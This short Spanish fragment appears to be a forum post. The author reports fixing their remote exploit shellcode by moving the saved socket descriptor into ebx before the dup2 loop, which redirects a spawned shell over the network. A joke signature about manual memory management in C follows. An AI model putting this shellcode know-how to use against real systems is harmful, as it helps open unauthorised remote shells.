arget@kali:~/exploiting/remote$


Era necesario indicar a dup2 el descriptor de socket moviendo a ebx el valor guardado anteriormente en esi mediante un "mov ebx, esi" justo antes de la etiqueta "bucle". Gracias por vuestra ayuda.
La gestión manual de bloques de memoria en C es como hacer malabarismos con pastillas de jabón en la ducha de la prisión: todo diversión hasta que cometes un fallo.